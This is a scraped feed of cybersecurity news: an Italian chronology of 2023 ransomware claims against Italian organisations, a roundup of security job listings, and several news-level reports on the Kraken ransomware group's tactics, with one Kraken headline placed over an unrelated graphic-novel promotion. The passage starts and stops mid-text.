DRM). 23-03-2023 – L’attacco viene rivendicato dal gruppo criminale RansomHouse. Ente pubblico. I dati sono interamente diffusi online e la quantità di file rubati durante l’attacco ammonta a 700 GB (fonte dati: DRM). 24-03-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. I dati sono interamente diffusi online a partire dai 3 giorni dalla rivendicazione, la quantità dei file esfiltrati ammonta a 500 GB (fonte dati: DRM). 24-03-2023 – L’attacco viene rivendicato dal gruppo criminale RansomHouse. Azienda operante nel settore delle costruzioni. 100 GB di dati esfiltrati, interamente diffusi online (fonte dati: DRM). 26-03-2023 – L’attacco viene rivendicato dal gruppo criminale Stormous. Settore energia. Reso disponibile online a titolo di sample, circa il 20% del totale esfiltrato dall’infrastruttura (fonte dati: DRM). 27-03-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Software house. I dati vengono diffusi online dopo 9 giorni dalla rivendicazione. Attualmente navigabili e scaricabili pubblicamente (fonte dati: DRM). 03-04-2023 – L’attacco viene rivendicato dal gruppo criminale Stormous. Attività operante nel settore industriale, produzione di pneumatici. Diffusi online alcuni dati tra quelli rubati, a titolo di sample (fonte dati: DRM). 03-04-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Attività industriale operante nella produzione di infissi. I dati diffusi online, attualmente navigabili e scaricabili ammontano a 34 GB (fonte dati: DRM). 04-04-2023 – L’attacco viene rivendicato dal gruppo criminale ALPHV/BlackCat. Settore industriale della produzione di sensoristica per misurazioni. I dati vengono diffusi online direttamente sul sito Web della cyber gang (fonte dati: DRM). 04-04-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Settore industriale, produzione di componentistica per sedute. I dati sono stati rivendicati per la pubblicazione a partire dal 18/04/2023 (fonte dati: DRM). 04-04-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Settore delle lavorazioni meccaniche industriali. Dati pubblicamente disponibili a partire dal 19/04/2023 (fonte dati: DRM). 09-04-2023 – L’attacco è stato rivendicato dal gruppo criminale malas. Azienda operante nel settore (fonte dati: DRM) 11-04-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda operante nel settore dell’intrattenimento. I dati vengono esposti per essere pubblici a partire da 20 giorni dopo la data di rivendicazione (fonte dati: DRM). 18-04-2023 – L’attacco viene rivendicato dal gruppo criminale Play. Associazione nazionale del settore agricolo. La cyber gang dà tempo 10 giorni alla vittima per pagare il riscatto, prima di pubblicare i dati online nel proprio sito Web. Tra i dati che vengono rivendicati, il gruppo elenca: documenti personali, finanziari, contratti, dati dei dipendenti e informazioni sui clienti (fonte dati: DRM). 26-04-2023 – L’attacco viene rivendicato dal gruppo criminale Ransomhouse. Il settore è quello industriale metalmeccanico. La cyber gang ha diffuso online alcuni sample a dimostrazione dell’attacco eseguito (fonte dati: DRM). 27-04-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda facente parte del MultiMedica Group operante nel settore sanitario. La cyber gang dal 30 aprile ha pubblicato online i dati esfiltrati durante l’attacco (fonte dati: DRM). 02-05-2023 – L’attacco viene rivendicato dal gruppo criminale Medusa. Azienda operande con le pubbliche amministrazioni per fornitura idrica, servizi di depurazione e fognatura (fonte dati: DRM). 03-05-2023 – L’attacco viene rivendicato dal gruppo criminale AlphV/BlackCat. Il settore è quello industriale e della componentistica sensoriale. Pubblicati diverso materiale interno sensibile (fonte dati: DRM). 03-05-2023 – L’attacco è stato rivendicato dal gruppo criminale Monti. Colpita l’Azienda Sanitaria Locale dell’Abruzzo. I criminali riferiscono di aver esfiltrato grandi quantità di materiale sensibile di cittadini, inerente il settore sanitario (fonte dati: DRM). 10-05-2023 – L’attacco è stato rivendicato dal gruppo criminale Bianlian. Settore relativo alla fornitura di servizi sanitari. Gli archivi che sono stati esfiltrati dall’organizzazione sono già stati diffusi online e la quantità ammonta a 1,5 TB complessivi (fonte dati: DRM). 11-05-2023 – L’attacco è stato rivendicato dal gruppo criminale LockBit. Settore economico di appartenenza è quello della sicurezza fisica. Il gruppo criminale riporta come termine ultimo per la trattativa il 24 maggio, oltre il quale diffonderà online i dati che afferma di aver rubato dall’organizzazione nella fase di attacco (fonte dati: DRM). 18-05-2023 – L’attacco è stato rivendicato dal gruppo criminale Trigona. Azienda operante nel settore industriale delle costruzioni. Il gruppo criminale invita alla trattativa tramite asta, con prezzo di partenza pari a 50.000 dollari, per la “protezione” dei dati riservati esfiltrati (32 GB), dei quali altrimenti si minaccia la pubblicazione online (fonte dati: DRM). 22-05-2023 – L’attacco è stato rivendicato dal gruppo criminale Snatch. Azienda operante nel settore della distribuzione di impiantistica elettrica e idrotermosanitaria (fonte dati: DRM). Non sono emersi sample a riprova dell’attacco. 23-05-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda italiana leader nel settore information technology (fonte dati: DRM). 26-05-2023 – L’attacco è stato rivendicato dal gruppo criminale Monti. Settore economico di appartenenza è quello della consulenza e contabilità aziendale (fonte dati: DRM). Il 30 maggio sono stati pubblicati online tutti i dati esfiltrati dal gruppo criminale durante l’attacco. 02-06-2023 – L’attacco è stato rivendicato dal gruppo criminale Darkrace. Il settore è quello della logistica portuale (fonte dati: DRM). 03-06-2023 – L’attacco è stato rivendicato dal gruppo criminale Darkrace. Azienda che opera nel settore della consulenza aziendale (fonte dati: DRM). 03-06-2023 – L’attacco è stato rivendicato dal gruppo criminale Darkrace. Gruppo aziendale che al suo interno contiene la produzione di codici a barre per il settore industriale e diverse software house (fonte dati: DRM). 06-06-2023 – L’attacco è stato rivendicato dal gruppo criminale LockBit. Il settore economico è quello industriale e dell’innovazione dei processi tecnologici (fonte dati: DRM). 09-06-2023 – L’attacco è stato rivendicato dal gruppo criminale LockBit. Il settore lavorativo è identificato in Trasporti (fonte dati: DRM). 15-06-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. Il settore merceologico è quello della consulenza (fonte dati: DRM). 23-06-2023 – L’attacco è stato rivendicato dal gruppo criminale Noescape. Il settore economico è quello finanziario (fonte dati: DRM). 24-06-2023 – L’attacco è stato rivendicato dal gruppo criminale Rhysida. Il settore lavorativo è quello dell’Automotive (fonte dati: DRM). 26-06-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. L’azienda rientra nel settore della consulenza legale (fonte dati: DRM). 28-06-2023 – L’attacco è stato rivendicato dal gruppo criminale BlackBasta. L’azienda fa parte del settore delle Costruzioni (fonte dati: DRM). 01-07-2023 – L’attacco è stato rivendicato dal gruppo criminale RansomEXX. L’azienda fa parte del settore lavorativo della consulenza tecnica (fonte dati: DRM). 02-07-2023 – L’attacco è stato rivendicato dal gruppo criminale LockBit. Il settore è quello manifatturiero (fonte dati: DRM). 03-07-2023 – L’attacco è stato rivendicato dal gruppo criminale Rhysida. Azienda operante nel settore industriale (fonte dati: DRM). 03-07-2023 – L’attacco è stato rivendicato dal gruppo criminale DonutLeak. Settore manifatturiero (fonte dati: DRM). 07-07-2023 – L’attacco è stato rivendicato dal gruppo criminale Play. Il settore lavorativo è quello manifatturiero (fonte dati: DRM). 10-07-2023 – L’attacco è stato rivendicato dal gruppo criminale Rhysida. Azienda operante nel settore della cultura (fonte dati: DRM). 18-07-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Manufacturing (fonte dati: DRM) 19-07-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 20-07-2023 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Manufacturing (fonte dati: DRM) 20-07-2023 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Information Technologies Consulting (fonte dati: DRM) 20-07-2023 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Finance (fonte dati: DRM) 21-07-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Consulting (fonte dati: DRM) 23-07-2023 – L’attacco è stato rivendicato dal gruppo criminale cyclops. Azienda operante nel settore Information Technologies Consulting (fonte dati: DRM) 25-07-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Manufacturing (fonte dati: DRM) 26-07-2023 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Universities (fonte dati: DRM) 26-07-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Insurance services (fonte dati: DRM) 26-07-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Energy (fonte dati: DRM) 26-07-2023 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Utility (fonte dati: DRM) 31-07-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Luxury (fonte dati: DRM) 07-08-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore (fonte dati: DRM) 15-08-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Technologies (fonte dati: DRM) 16-08-2023 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Local administrations (fonte dati: DRM) 16-08-2023 – L’attacco è stato rivendicato dal gruppo criminale metaencryptor. Azienda operante nel settore Manufacturing (fonte dati: DRM) 18-08-2023 – L’attacco è stato rivendicato dal gruppo criminale play. Azienda operante nel settore Utility (fonte dati: DRM) 24-08-2023 – L’attacco è stato rivendicato dal gruppo criminale cloak. Azienda operante nel settore Manufacturing (fonte dati: DRM) 24-08-2023 – L’attacco è stato rivendicato dal gruppo criminale cloak. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 25-08-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Renewable energies (fonte dati: DRM) 25-08-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Education (fonte dati: DRM) 25-08-2023 – L’attacco è stato rivendicato dal gruppo criminale play. Azienda operante nel settore Utility (fonte dati: DRM) 29-08-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Government and administrations (fonte dati: DRM) 30-08-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Manufacturing (fonte dati: DRM) 31-08-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Logistics (fonte dati: DRM) 31-08-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Services (fonte dati: DRM) 04-09-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore (fonte dati: DRM) 05-09-2023 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore (fonte dati: DRM) 06-09-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Architecture (fonte dati: DRM) 07-09-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Services (fonte dati: DRM) 09-09-2023 – L’attacco è stato rivendicato dal gruppo criminale ransomedvc. Azienda operante nel settore Manufacturing (fonte dati: DRM) 12-09-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Consulting (fonte dati: DRM) 16-09-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Services (fonte dati: DRM) 26-09-2023 – L’attacco è stato rivendicato dal gruppo criminale losttrust. Azienda operante nel settore Legal consulting (fonte dati: DRM) 26-09-2023 – L’attacco è stato rivendicato dal gruppo criminale losttrust. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 26-09-2023 – L’attacco è stato rivendicato dal gruppo criminale losttrust. Azienda operante nel settore Finance (fonte dati: DRM) 26-09-2023 – L’attacco è stato rivendicato dal gruppo criminale losttrust. Azienda operante nel settore Technologies (fonte dati: DRM) 26-09-2023 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Healthcare services (fonte dati: DRM) 27-09-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Healthcare services (fonte dati: DRM) 01-10-2023 – L’attacco è stato rivendicato dal gruppo criminale alphv. Azienda operante nel settore Utility (fonte dati: DRM) 01-10-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 03-10-2023 – L’attacco è stato rivendicato dal gruppo criminale moneymessage. Azienda operante nel settore Travel and tourism industry (fonte dati: DRM) 10-10-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Healthcare services (fonte dati: DRM) 11-10-2023 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Services (fonte dati: DRM) 12-10-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Manufacturing (fonte dati: DRM) 12-10-2023 – L’attacco è stato rivendicato dal gruppo criminale moneymessage. Azienda operante nel settore Technologies (fonte dati: DRM) 15-10-2023 – L’attacco è stato rivendicato dal gruppo criminale snatch. Azienda operante nel settore Manufacturing (fonte dati: DRM) 16-10-2023 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Unknown (fonte dati: DRM) 16-10-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Unknown (fonte dati: DRM) 16-10-2023 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore High-tech (fonte dati: DRM) 17-10-2023 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Services (fonte dati: DRM) 17-10-2023 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Telecommunications (fonte dati: DRM) 31-10-2023 – L’attacco è stato rivendicato dal gruppo criminale knight. Azienda operante nel settore Logistics (fonte dati: DRM) 31-10-2023 – L’attacco è stato rivendicato dal gruppo criminale knight. Azienda operante nel settore Entertainment industry (fonte dati: DRM) 31-10-2023 – L’attacco è stato rivendicato dal gruppo criminale noescape. Azienda operante nel settore Manufacturing (fonte dati: DRM) 31-10-2023 – L’attacco è stato rivendicato dal gruppo criminale knight. Azienda operante nel settore Manufacturing (fonte dati: DRM) 01-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Human Services (fonte dati: DRM) 02-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Market infrastructures (fonte dati: DRM) 02-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Luxury (fonte dati: DRM) 05-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Healthcare services (fonte dati: DRM) 05-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Central administration and government (fonte dati: DRM) 08-11-2023 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore (fonte dati: DRM) 10-11-2023 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore (fonte dati: DRM) 12-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Automotive (fonte dati: DRM) 15-11-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Luxury (fonte dati: DRM) 15-11-2023 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Services (fonte dati: DRM) 20-11-2023 – L’attacco è stato rivendicato dal gruppo criminale knight. Azienda operante nel settore Services (fonte dati: DRM) 22-11-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Services (fonte dati: DRM) 22-11-2023 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Public Health (fonte dati: DRM) 22-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Manufacturing (fonte dati: DRM) 23-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Culture (fonte dati: DRM) 24-11-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Hotel (fonte dati: DRM) 01-12-2023 – L’attacco è stato rivendicato dal gruppo criminale cloak. Azienda operante nel settore Technologies (fonte dati: DRM) 01-12-2023 – L’attacco è stato rivendicato dal gruppo criminale blacksuit. Azienda operante nel settore Construction (fonte dati: DRM) 04-12-2023 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Services (fonte dati: DRM) 06-12-2023 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Manufacturing (fonte dati: DRM) 06-12-2023 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 11-12-2023 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore (fonte dati: DRM) 11-12-2023 – Come già abbiamo analizzato diversi giorni fa, l’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore (fonte dati: DRM) 20-12-2023 – L’attacco è stato rivendicato dal gruppo criminale ragroup. Azienda operante nel settore Logistics (fonte dati: DRM) Questo articolo contiene link di affiliazione: acquisti o ordini effettuati tramite tali link permetteranno al nostro sito di ricevere una commissione. Le offerte potrebbero subire variazioni di prezzo dopo la pubblicazione.
cybersecurity360.itJan 23, 2026extracted
Cybersecurity jobs available right now: December 16, 2025
Cybersecurity jobs available right now: December 16, 2025 Cybersecurity Senior Manager Grant Thornton | USA | On-site – No longer accepting applications As a Cybersecurity Senior Manager, you will lead and perform cybersecurity assessments, including capability, threat and risk, architecture, compliance, and configuration reviews. You will oversee technical security testing such as attack simulations and vulnerability assessments, and manage incident response readiness activities, including tabletop exercises and capability evaluations. Cyber Resilience CTI Specialist Central Bank of Ireland | Ireland | Hybrid – No longer accepting applications As a Cyber Resilience CTI Specialist, you will support and enhance the cyber resilience strategy using financial services and threat intelligence expertise, provide CTI capabilities including threat correlation, hunting, trending, and horizon scanning, help advance CTI tooling and operations with emerging technologies such as ML/LLMs, and deliver regular intelligence updates on evolving cyber risks. Cyber Security Analyst Ford Motor Company | India | On-site – No longer accepting applications As a Cyber Security Analyst, you will modernize information security policies and standards, collaborate with cross-functional stakeholders and SMEs, lead policy, control, and risk governance processes, perform policy and risk reviews, conduct quantitative and qualitative risk assessments, and provide security consultation to IT and business teams. Get weekly updates on new cybersecurity job openings. Subscribe here! Cyber Security Engineer Global Medical Response | USA | Remote – No longer accepting applications As a Cyber Security Engineer, you will manage and optimize endpoint protection using CrowdStrike Falcon and Microsoft Defender, oversee the Endpoint Protection Program, maintain secure baselines aligned with CIS and NIST standards, and enforce endpoint-based DLP controls including USB and sensitive data transfer restrictions. Cyber Security Deputy Director banglalink | Bangladesh | On-site – No longer accepting applications As a Cyber Security Deputy Director, you will develop and execute long-term security roadmaps, lead enterprise-wide risk and threat management, drive rapid remediation of vulnerabilities through cross-functional collaboration, and oversee the adoption of global security frameworks embedded across the technology lifecycle while managing CAPEX and OPEX budgets. Freelance Cybersecurity Analyst – AI Trainer Mindrift | Italy | Remote – No longer accepting applications As a Freelance Cybersecurity Analyst – AI Trainer, you will analyze simulated security alerts across endpoint, identity, and cloud environments, perform proactive threat hunting using KQL, evaluate AI-generated incident reports, and improve the model’s understanding of Microsoft Defender tools and SOC workflows. Global Head of Privacy & Data Protection Kraken | France | Hybrid – No longer accepting applications As a Global Head of Privacy & Data Protection, you will lead and continuously enhance the global privacy program, embed privacy by design across products and services, partner with senior stakeholders to ensure compliance, oversee vendor privacy assurance, and maintain effective privacy processes and documentation as both a data controller and processor. ICT Cloud & Security Engineer PFH Technology Group | Ireland | On-site – No longer accepting applications As an ICT Cloud & Security Engineer, you will manage Microsoft Entra ID for identity governance, conditional access, MFA, and PIM, deploy and administer Intune and Microsoft Defender XDR, monitor and respond to alerts using Microsoft Sentinel and SIEM tools, secure Azure resources using Zero Trust best practices, and lead security incident investigations and remediation. Information Security Consultant – GRC Kiwibank | New Zealand | Hybrid – No longer accepting applications As an Information Security Consultant – GRC, you will develop and maintain security policies and frameworks, lead security audits and assurance activities, manage security risk reporting and tracking, drive the risk management framework, and conduct third-party vendor risk assessments. Information Security Manager (SOC Operations) Mazrui International | UAE | On-site – No longer accepting applications As an Information Security Manager (SOC Operations), you will oversee SOC monitoring, detection, and incident response, ensure compliance with ISO 27001 and regulatory requirements, manage audits and remediation, define security policies and training, integrate security into infrastructure and architecture, own risk and change management processes, and ensure strong cloud, data, and API security across the organization. Information Systems Security Officer Docebo | Canada | Hybrid – No longer accepting applications As an Information Systems Security Officer, you will define and govern the FedRAMP program, own and maintain all ATO artifacts including the SSP, SAR, ConMon deliverables, and POA&Ms, build and operate the continuous monitoring program, and triage vulnerabilities to ensure timely remediation and compliance with FedRAMP requirements. IT Security Engineer Alpitronic | Italy | On-site – View job details As an IT Security Engineer, you will assess and monitor the organization’s security posture and network traffic, detect and respond to security incidents, defend against internal and external threats, perform risk and vulnerability assessments, and investigate incidents to remediate weaknesses and reduce cyber risk. Junior CISO with GRC experience Hermeticon | Israel | Hybrid – No longer accepting applications As a Junior CISO with GRC experience, you will lead and manage information security and regulatory projects, guide clients through the full lifecycle of security and compliance initiatives, implement and maintain information security and privacy regulations, and provide ongoing consulting support in risk management, process improvement, and security monitoring. Principal Cyber Security Analyst City of Moreton Bay | Australia | Hybrid – No longer accepting applications As a Principal Cyber Security Analyst, you will implement and monitor security policies, manage security tools and incident response, ensure regulatory compliance, conduct vulnerability and penetration testing, promote security awareness, and develop security strategies, roadmaps, and budgets. Observability & Monitoring Architect Ascension | USA | Remote – No longer accepting applications As a Observability & Monitoring Architect, you will design and optimize end-to-end observability across on-prem, cloud, and hybrid environments, architect and integrate SolarWinds and ScienceLogic with AIOps and ServiceNow, establish effective alerting and event management standards, and drive automation and predictive analytics to improve service reliability and reduce alert fatigue. Security Assurance Penetration Tester Elsevier | United Kingdom | Remote – No longer accepting applications As a Security Assurance Penetration Tester, you will perform manual and automated penetration testing across web and cloud environments, document and report findings, assess and prioritize vulnerabilities with recommended mitigations, validate remediation efforts, and analyze recurring issues to identify root causes and long-term solutions. Security DevOps Engineer Taboola | Israel | Hybrid – No longer accepting applications As a Security DevOps Engineer, you will lead the implementation of a secure-by-design culture by developing and executing a DevSecOps and Secure SDLC strategy, maturing the security tooling stack, owning bug bounty and disclosure workflows, strengthening IAM through Zero Trust and just-in-time access, and designing scalable CVE discovery, tracking, and remediation processes driven by automation and actionable data. Senior Associate, Cyber Defense KPMG | USA | Hybrid – No longer accepting applications As a Senior Associate, Cyber Defense, you will monitor, detect, analyze, and investigate threat activity; support incident response through alert handling and event investigation in coordination with SOC and IT teams. Assist with implementing security monitoring and incident response methodologies, and configure security controls and technologies including SIEM, log management, firewalls, intrusion prevention systems, antivirus, and DLP tools. Senior Cyber Security Engineer, Security Validation Community Health Systems | USA | Remote – No longer accepting applications As a Senior Cyber Security Engineer, Security Validation, you will lead Red Team engagements aligned with MITRE ATT&CK, conduct security validation across cloud, on-prem, and medical environments, develop adversary simulation tools, collaborate with Blue and Purple Teams to improve detection and response, and assess risks in critical clinical and enterprise systems. Senior Red Team Operator – Cloud Specialty JPMorganChase | United Kingdom | On-site – No longer accepting applications As a Senior Red Team Operator – Cloud Specialty, you will lead and execute long-term, covert red team assessments to evaluate control effectiveness and operational risk, contribute to the development of red team methodologies and tools, and collaborate with cross-functional teams to deliver data-driven assessment reports with clear risk and remediation guidance. Senior Security Engineer, Application Security GitLab | Canada | Remote – No longer accepting applications As a Senior Security Engineer, Application Security, you will lead application design and architecture reviews, threat modeling, code reviews, and security testing with demonstrated exploitation in controlled environments. You will establish secure development practices, standards, and paved roads to enable high-velocity engineering. Contribute directly to securing GitLab using GitLab, and strengthen software supply chain security through improved workflows and controls. Senior Security Engineer Analog | UAE | On-site – No longer accepting applications As a Senior Security Engineer, you will manage core security platforms across cloud, application, host, and infrastructure domains; design and operate security monitoring and SIEM solutions in collaboration with SOC, red, and threat intelligence teams; oversee log collection, correlation, detection, and compliance automation. You will continuously improve monitoring processes and documentation, and develop operational procedures to strengthen detection capabilities and overall security posture. (Senior) IT Security Specialist Hyundai Motor Europe Technical Center | Germany | On-site – No longer accepting applications As a (Senior) IT Security Specialist, you will develop and maintain IT security policies and controls, monitor and assess security across systems and endpoints, manage identity and access, support regulatory compliance, and administer Windows and Linux servers including patching, backups, monitoring, and recovery to ensure secure and stable operations. TPRM Analyst Kyndryl | India | On-site – No longer accepting applications As a TPRM Analyst, you will oversee incident response, vulnerability management, and threat hunting, execute and optimize security technologies, and proactively enhance security services through system tuning, new use cases, and insights from customer and industry data. Threat Intelligence Analyst VMRay | Germany | Hybrid – No longer accepting applications As a Threat Intelligence Analyst, you will produce monthly intelligence reports, deliver technical and executive briefings, drive intelligence-led marketing content, support threat hunting and detection engineering, and represent the organization at CTI conferences and industry events. Vulnerability Management Officer OECD | France | On-site – No longer accepting applications As a Vulnerability Management Officer, you will lead vulnerability identification and remediation across digital assets, coordinate remediation with technical teams, plan and execute advanced security assessments including red teaming and penetration testing, support digital solution risk assessments with control recommendations, and develop, enforce, and monitor security and privacy controls to ensure timely patching and compliance with OECD and industry standards.
helpnetsecurity.comDec 16, 2025extracted
Kraken Uses Benchmarking to Enhance Ransomware Attacks
A series of big-game hunting incidents and double extortion attacks carried out by Kraken, a Russian-speaking operation that has emerged from the ashes of the HelloKitty cartel, was observed in August 2025 by Cisco Talos and detailed in an advisory published last week. The group has been linked to intrusions where Server Message Block (SMB) flaws were abused for entry, followed by the use of Cloudflare for persistence and SSH Filesystem (SSHFS) for data theft before encryption. Kraken’s toolkit spans Windows, Linux and VMware ESXi, giving it reach across many enterprise environments. A New Ransomware Strain What’s new is Kraken’s unusual benchmarking step, which measures how quickly a victim machine can process encryption before the malware initiates its file-locking routine. This allows the attackers to tailor the encryption method for maximum impact while reducing the chance of triggering system instability or detection. The group also announced a new underground discussion space, The Last Haven Board, on its leak site, in an effort to create a secure hub for cybercrime collaboration. Kraken, active since February 2025, relies on double extortion and appears opportunistic rather than focused on specific sectors. Victims listed on its site include organizations in the US, the UK, Canada, Denmark, Panama and Kuwait. It applies the .zpsc extension, issues a ransom note titled readme_you_ws_hacked.txt and threatens to publish stolen files if contacted through its onion service. External reporting and Talos observations indicate possible overlap with the HelloKitty threat group. Kraken’s leak portal references HelloKitty by name, and both groups use the same ransom note filename. The launch of Last Haven included claimed support from HelloKitty operators and WeaCorp, an exploit-buying outfit, adding weight to the theory that Kraken spun out from the earlier cartel. Kraken Attack Tactics Talos documented one case in which Kraken actors broke in through an exposed SMB service, extracted privileged credentials, then returned via Remote Desktop. Afterward, they installed Cloudflare to maintain access, deployed SSHFS to browse and siphon data, and pushed the encryptor across the network via Remote Desktop Protocol (RDP). They demanded roughly $1m in Bitcoin and pledged decryption and non-disclosure after payment. Key elements of Kraken’s tactics include: Cross-platform encryptors Benchmark-based encryption decisions Multi-threaded modules targeting SQL databases, network shares, local drives and virtual machines Talos attributed this activity to an increasingly organized group attempting to claim the space left vacant by the collapse of the HelloKitty cartel. To defend against threats such as this, organizations should strengthen credential hygiene, limit exposure of remote services, harden backup strategies and adopt continuous monitoring to spot abnormal tunneling or data access activity early.
infosecurity-magazine.comNov 17, 2025extracted
Arriva Kraken: il nuovo ransomware che valuta l’ambiente per infliggere il massimo danno
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/
redhotcyber.comNov 15, 2025extracted
Kraken ransomware benchmarks systems for optimal encryption choice
The Kraken ransomware, which targets Windows, Linux/VMware ESXi systems, is testing machines to check how fast it can encrypt data without overloading them. According to Cisco Talos researchers, Kraken's feature is a rare capability that uses temporary files to choose between full and partial data encryption. The Kraken ransomware emerged at the begining of the year as a continuation of the HelloKitty operation, and engages in big-game hunting attacks with data theft for double extortion. On the gang's data leak sites there are listed victims from the United States, the UK, Canada, Panama, Kuwait, and Denmark. Cisco researchers note that various mentions on Kraken’s site, as well as similarities in the ransom note, indicate connections with the now defunct HelloKitty ransomware that gained prominence in 2021 and attempted a rebranding after the leak of its source code. Apart from the ransomware operation, Kraken has also launched a new cybercrime forum named “The Last Haven Board” to facilitate supposedly secure communications and exchanges. Kraken attack chain According to Cisco’s observations, Kraken ransomware attacks typically begin with the exploitation of SMB vulnerabilities on internet-facing assets, providing the threat actors with an initial foothold. Next, the intruder extracts admin account credentials and uses them to re-enter the environment via Remote Desktop Protocol (RDP) and deploy the Cloudflared and SSHFS tools. Cloudflared is used for creating a reverse tunnel from the victim host back to the attacker’s infrastructure, and SSHFS allows exfiltrating data through mounted remote filesystems. Using 